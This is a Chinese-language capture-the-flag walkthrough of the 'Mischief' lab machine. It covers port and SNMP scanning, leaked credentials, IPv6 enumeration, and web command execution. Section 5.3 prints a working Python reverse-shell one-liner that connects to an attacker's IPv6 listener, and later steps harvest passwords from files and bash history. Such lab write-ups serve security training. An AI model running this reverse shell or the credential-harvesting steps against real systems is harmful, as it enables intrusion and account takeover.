Mischief 靶机实战
字数 1541 2025-08-27 12:33:42

Mischief 靶机渗透测试实战教学文档

1. 靶机信息收集

1.1 初始端口扫描

使用nmap进行全端口扫描:

nmap -sC -sV -p- -v -Pn 10.10.10.92

扫描结果:

  • 22/tcp - OpenSSH 7.6p1 Ubuntu 4
  • 3366/tcp - Radicale calendar and contacts server (Python BaseHTTPServer)
    • 需要基本认证(Basic Auth)
    • 服务器头: SimpleHTTP/0.6 Python/2.7.15rc1

1.2 UDP端口扫描

nmap -sU -v 10.10.10.92

发现开放端口:

  • 161/udp - SNMP服务

2. SNMP信息收集

2.1 使用snmpwalk收集信息

snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.4.34.1.3

发现IPv6地址线索:

222.173.190.239.0.0.0.0.2.80.86.255.254.185.242.143

2.2 使用snmp-check收集信息

snmp-check 10.10.10.92 -c public

关键发现:

  • 系统信息:
    • 主机名: Mischief
    • 描述: Linux Mischief 4.15.0-20-generic
  • 进程信息:
    626 runnable python python -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
    
    获取到3366端口的认证凭据:loki:godofmischiefisloki

3. IPv6地址转换与枚举

3.1 转换IPv6地址

将十进制IPv6地址转换为十六进制:

222.173.190.239.0.0.0.0.2.80.86.255.254.185.242.143
→ dead:beef:00:00:250:56ff:feb9:f28f

3.2 使用Enyx枚举IPv6地址

git clone https://github.com/trickster0/Enyx.git
python enyx.py 2c public 10.10.10.92

发现更多IPv6地址:

  • Loopback: 0000:0000:0000:0000:0000:0000:0000:0001
  • Unique-Local: dead:beef:0000:0000:0250:56ff:feb9:f28f
  • Link Local: fe80:0000:0000:0000:0250:56ff:feb9:f28f

4. IPv6服务扫描

nmap -6 -sV dead:beef:00:00:250:56ff:feb9:f28f

扫描结果:

  • 22/tcp - OpenSSH 7.6p1 Ubuntu 4
  • 80/tcp - Apache httpd 2.4.29 (Ubuntu)

5. Web应用渗透

5.1 访问IPv6 Web服务

URL格式:

http://[dead:beef:00:00:250:56ff:feb9:f28f]

5.2 尝试登录

使用之前获得的凭据loki:godofmischiefisloki无效,尝试常见用户名:

  • 成功登录组合:administrator:trickeryanddeceit

5.3 获取反向Shell

  1. 在攻击机设置IPv6监听:
nc -6nlvp 4444
  1. 在Web应用命令执行处输入Python反向Shell代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1319",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. 升级Shell:
python -c 'import pty; pty.spawn("/bin/bash")'

6. 获取用户凭证

/home/loki/目录下找到凭证文件:

cat credentials

输出:pass: lokiisthebestnorsegod

使用该凭证通过SSH登录:

ssh loki@10.10.10.92

密码:lokiisthebestnorsegod

获取user flag:

cat user.txt

7. 权限提升

7.1 检查历史命令

cat ~/.bash_history

发现其他可能的密码:lokipasswordmischieftrickery

7.2 查找root flag

发现root flag位于非常规位置:

find / -name root.txt

输出:

/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt

8. 关键知识点总结

  1. 全端口扫描:初始扫描可能遗漏重要端口,使用-p-参数扫描全端口

  2. SNMP信息收集

    • 使用snmpwalksnmp-check获取系统详细信息
    • 关注进程列表中的敏感信息(如硬编码凭据)
  3. IPv6渗透

    • 识别和转换IPv6地址格式
    • 使用-6参数扫描IPv6服务
    • IPv6反向Shell需要相应调整
  4. 凭证复用

    • 在不同服务尝试相同的用户名/密码组合
    • 检查历史命令和配置文件寻找凭证
  5. 非常规flag位置:某些靶机会将flag放在非标准位置增加难度

9. 工具清单

  • nmap - 端口扫描
  • snmpwalk/snmp-check - SNMP信息收集
  • Enyx - IPv6地址枚举工具
  • netcat - 建立反向Shell连接
  • Python - 用于Shell升级和反向Shell
Mischief 靶机渗透测试实战教学文档 1. 靶机信息收集 1.1 初始端口扫描 使用nmap进行全端口扫描: 扫描结果: 22/tcp - OpenSSH 7.6p1 Ubuntu 4 3366/tcp - Radicale calendar and contacts server (Python BaseHTTPServer) 需要基本认证(Basic Auth) 服务器头: SimpleHTTP/0.6 Python/2.7.15rc1 1.2 UDP端口扫描 发现开放端口: 161/udp - SNMP服务 2. SNMP信息收集 2.1 使用snmpwalk收集信息 发现IPv6地址线索: 2.2 使用snmp-check收集信息 关键发现: 系统信息: 主机名: Mischief 描述: Linux Mischief 4.15.0-20-generic 进程信息: 获取到3366端口的认证凭据: loki:godofmischiefisloki 3. IPv6地址转换与枚举 3.1 转换IPv6地址 将十进制IPv6地址转换为十六进制: 3.2 使用Enyx枚举IPv6地址 发现更多IPv6地址: Loopback: 0000:0000:0000:0000:0000:0000:0000:0001 Unique-Local: dead:beef:0000:0000:0250:56ff:feb9:f28f Link Local: fe80:0000:0000:0000:0250:56ff:feb9:f28f 4. IPv6服务扫描 扫描结果: 22/tcp - OpenSSH 7.6p1 Ubuntu 4 80/tcp - Apache httpd 2.4.29 (Ubuntu) 5. Web应用渗透 5.1 访问IPv6 Web服务 URL格式: 5.2 尝试登录 使用之前获得的凭据 loki:godofmischiefisloki 无效,尝试常见用户名: 成功登录组合: administrator:trickeryanddeceit 5.3 获取反向Shell 在攻击机设置IPv6监听: 在Web应用命令执行处输入Python反向Shell代码: 升级Shell: 6. 获取用户凭证 在 /home/loki/ 目录下找到凭证文件: 输出: pass: lokiisthebestnorsegod 使用该凭证通过SSH登录: 密码: lokiisthebestnorsegod 获取user flag: 7. 权限提升 7.1 检查历史命令 发现其他可能的密码: lokipasswordmischieftrickery 7.2 查找root flag 发现root flag位于非常规位置: 输出: 8. 关键知识点总结 全端口扫描 :初始扫描可能遗漏重要端口,使用 -p- 参数扫描全端口 SNMP信息收集 : 使用 snmpwalk 和 snmp-check 获取系统详细信息 关注进程列表中的敏感信息(如硬编码凭据) IPv6渗透 : 识别和转换IPv6地址格式 使用 -6 参数扫描IPv6服务 IPv6反向Shell需要相应调整 凭证复用 : 在不同服务尝试相同的用户名/密码组合 检查历史命令和配置文件寻找凭证 非常规flag位置 :某些靶机会将flag放在非标准位置增加难度 9. 工具清单 nmap - 端口扫描 snmpwalk/snmp-check - SNMP信息收集 Enyx - IPv6地址枚举工具 netcat - 建立反向Shell连接 Python - 用于Shell升级和反向Shell